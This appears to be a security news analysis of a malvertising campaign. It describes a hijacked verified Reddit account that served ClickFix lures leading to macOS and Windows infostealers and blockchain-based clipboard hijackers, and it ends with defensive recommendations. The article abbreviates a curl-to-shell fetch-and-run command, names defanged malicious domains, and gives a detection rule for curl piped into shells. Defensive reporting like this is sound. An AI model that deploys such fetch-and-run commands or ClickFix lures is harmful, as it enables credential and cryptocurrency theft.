Author: DigitalSpying Security Desk
Date: September 15, 2026
Executive Summary
In an aggressive abuse of verified social media brand trust, cybercriminal operators hijacked the verified Reddit advertising account of streaming entertainment giant HBO Max (u/hbomax), unleashing a 48-hour malvertising campaign dubbed PasteSwitch. As revealed in joint threat investigations by Hudson Rock and ADAMnetworks and reported by Help Net Security, the compromised verified account broadcast 108 distinct malicious advertisements promoting counterfeit macOS and Windows desktop applications. Victims clicking the sponsored ads were routed to sophisticated phishing landing pages simulating streaming errors, where they were coerced into executing ClickFix social engineering instructions—manually copying and executing obfuscated commands via Windows Run or the macOS Terminal. The operation distributed a multi-stage malware payload suite targeting both macOS and Windows systems, anchored by smart contracts on the Binance Smart Chain (BSC) that served as an un-takedownable command-and-control (C2) resolver.
Deep-Dive Technical Analysis
1. Brand Account Hijack & Malvertising Distribution
The initial intrusion weaponized institutional trust within Reddit's advertising platform:
* Verified Account Abuse: Threat actors gained control of the official, verified u/hbomax account. Because the account carried verified flair and historical brand authenticity, Reddit users treated sponsored posts as legitimate corporate product announcements.
* The Campaign Scope: Over a 48-hour operational window, the threat actors published 108 distinct ad campaigns:
* 46 ads pushed a fraudulent "HBO Max macOS Desktop App" directing to lookalike domains hbomaxx[.]us, hbomaxx[.]app, and hbomax-macos[.]com.
* 36 ads masqueraded as an "OpenAI Codex Desktop Studio" pointing to codex-craft[.]com.
* Remaining ads advertised fake Apple utility tools (apple.clean-disk-guide[.]com) and developer utilities (code-desktop[.]com).
* Dynamic Cloaking & Fingerprinting: To prevent automated ad-review crawlers from identifying malicious behavior, the landing pages evaluated incoming client headers, screen resolution, and WebGL parameters. Non-targeted bots and mobile browsers were served benign filler pages, while desktop users received the weaponized lure.
2. The ClickFix Social Engineering Primitive
PasteSwitch relies on the rapidly spreading ClickFix infection methodology, which bypasses browser sandbox download warnings:
* Error Simulation: The landing page displays a simulated video playback error or fake codec installation requirement (e.g., "Error #404: Missing Video Decoding Binary").
* Coerced Terminal Execution: The site instructs the user to press Win + R (Windows) or open Terminal (macOS), paste an auto-copied string, and press Enter to "automatically repair" their media player.
* Why ClickFix Succeeds: Because the victim manually executes the command, the download and execution bypass browser web-reputation filters, SmartScreen blocks, and perimeter URL sandbox checks.
3. Dual-Platform Malware Delivery: macOS vs. Windows
Depending on the victim's operating system, PasteSwitch deployed customized, highly capable infostealer families:
Target Platform
Command / Vector
Primary Payloads & Impact
macOS Chain
curl -sL c2/mac | zsh
MacSync Infostealer: Steals Keychain & Apple Notes; harvests Telegram & Browser data. Installs persistent AMOS Helper; deploys fake BIP39 crypto wallets.
Windows Chain
mshta / powershell
Amatera Loader: Memory-only infostealer. Extracts Browser DPAPI Vaults; steals saved Discord/SaaS Tokens; captures desktop screenshots.
macOS Execution Path:
* Zero-Download In-Memory Pipe: Executes via curl -sL
* MacSync Infostealer: Harvests credentials from Chromium and Gecko-based browsers, extracts decrypted Apple Keychain entries, targets Telegram desktop session folders, and parses local Apple Notes for sensitive passwords. Stolen data is staged in a hidden zip directory and exfiltrated in encrypted chunks.
* Atomic Stealer (AMOS) & Rogue Wallets: Installs AMOS Helper as a persistent daemon and drops fake BIP39 seed phrase capture windows disguised as Ledger, Trezor Suite, and Exodus wallets.
Windows Execution Path:
* mshta & PowerShell Stager: Executes obfuscated scriptlet commands via Microsoft HTML Application Host (mshta.exe), invoking PowerShell to inject into legitimate processes.
* Amatera Stealer: A specialized modular infostealer that fingerprints system hardware, bypasses Windows DPAPI to decrypt stored browser credentials, and extracts session cookies.
4. Bulletproof Blockchain C2 Infrastructure
A standout innovation in PasteSwitch is its use of smart contracts on the Binance Smart Chain (BSC) to anchor command-and-control communication for its cryptocurrency clipper modules (AnimateClipper and ZigClipper):
* Contract-Governed Wallet Replacement: When victims copy a cryptocurrency address, the clipper dynamically replaces it with an attacker-controlled address.
* On-Chain C2 Queries: Rather than resolving a centralized DNS domain, the malware queries a smart contract on the public blockchain to retrieve the current destination wallet address.
* Immunity to Domain Takedowns: Over a four-month period, investigators recorded 36 mainnet contract update transactions executed by the attacker controller address. Law enforcement and security vendors cannot take down or sinkhole a smart contract running on a decentralized public blockchain, rendering traditional registrar domain seizures ineffective.
Industry Impact & Corporate Brand Hijacking Risks
* The Weaponization of Corporate Ad Trust: Users who would ordinarily ignore spam emails are easily deceived by sponsored ads running from verified social media handles on platforms like Reddit, X, and Facebook.
* Cross-Platform Targeting: PasteSwitch's equal focus on macOS and Windows reflects the growing trend of cybercrime syndicates engineering native, memory-resident tools targeting Mac enterprise developers and crypto holders.
Actionable Recommendations & Defense Playbook
1. Corporate Social Media Security & Ad Account Governance
* Mandate Hardware MFA on Marketing Profiles: Social media and advertising accounts (Reddit Ads, Meta Ads, Google Ads) must require hardware FIDO2 security keys (YubiKeys) rather than SMS or standard app-based MFA.
* Ad Account Spend Alerting: Establish real-time billing and campaign creation notifications with strict daily spending limits to alert marketing teams when unauthorized campaigns launch.
2. Endpoint Protection Against ClickFix Attacks
* Disable Script Interpreters for Standard Users: Restrict execution of mshta.exe, wscript.exe, and unmanaged PowerShell sessions on corporate Windows endpoints via AppLocker or Windows Defender Application Control (WDAC).
* Block Direct Curl-to-Shell Piping: In macOS corporate fleets, use endpoint detection rules (such as Jamf Protect, CrowdStrike, or SentinelOne) to alert and terminate shell processes where curl or wget outputs are piped directly into /bin/sh, /bin/bash, or /bin/zsh.
3. User Awareness Training: The ClickFix Warning
* Educate employees and end-users that legitimate websites, web applications, and streaming platforms will never instruct users to copy terminal commands into Win + R or Terminal to fix playback issues or install software.
Sources and Reference Intelligence: Hudson Rock Threat Research, Help Net Security, Reddit Security Team.